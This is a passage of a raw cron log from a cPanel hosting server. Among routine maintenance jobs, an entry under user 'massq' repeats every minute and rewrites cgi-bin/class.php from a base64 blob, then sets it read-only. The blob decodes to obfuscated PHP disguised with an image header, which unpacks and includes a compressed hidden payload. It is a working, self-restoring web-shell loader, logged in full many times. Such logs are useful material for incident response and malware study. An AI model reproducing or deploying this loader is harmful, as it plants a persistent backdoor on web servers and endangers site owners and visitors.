tQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:13:01 server CROND[15443]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:13:01 server CROND[15444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:13:01 server CROND[15445]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:14:01 server CROND[15918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:14:01 server CROND[15919]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:14:01 server CROND[15920]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:15:01 server CROND[16330]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:15:01 server CROND[16332]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 10:15:01 server CROND[16333]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:15:01 server CROND[16337]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 10:15:01 server CROND[16338]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:15:01 server CROND[16339]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep  6 10:15:01 server CROND[16340]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:15:01 server CROND[16341]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  6 10:15:01 server CROND[16336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:16:01 server CROND[17186]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:16:01 server CROND[17187]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:16:01 server CROND[17189]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:17:01 server CROND[17593]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:17:01 server CROND[17594]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:17:01 server CROND[17595]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:18:01 server CROND[18002]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:18:01 server CROND[18003]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:18:01 server CROND[18004]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:19:01 server CROND[18477]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:19:01 server CROND[18478]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:19:01 server CROND[18479]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:20:01 server CROND[18866]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 10:20:01 server CROND[18869]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 10:20:01 server CROND[18874]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 10:20:01 server CROND[18875]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 10:20:01 server CROND[18883]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 10:20:01 server CROND[18882]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:20:01 server CROND[18889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:20:01 server CROND[18890]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:20:01 server CROND[18881]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 10:21:01 server CROND[19703]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:21:01 server CROND[19704]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:21:01 server CROND[19705]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:22:01 server CROND[20070]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:22:01 server CROND[20071]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:22:01 server CROND[20072]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:23:01 server CROND[20442]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:23:01 server CROND[20443]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 10:23:01 server CROND[20444]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:24:01 server CROND[20932]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 10:24:01 server CROND[20931]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 10:24:01 server CROND[20933]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
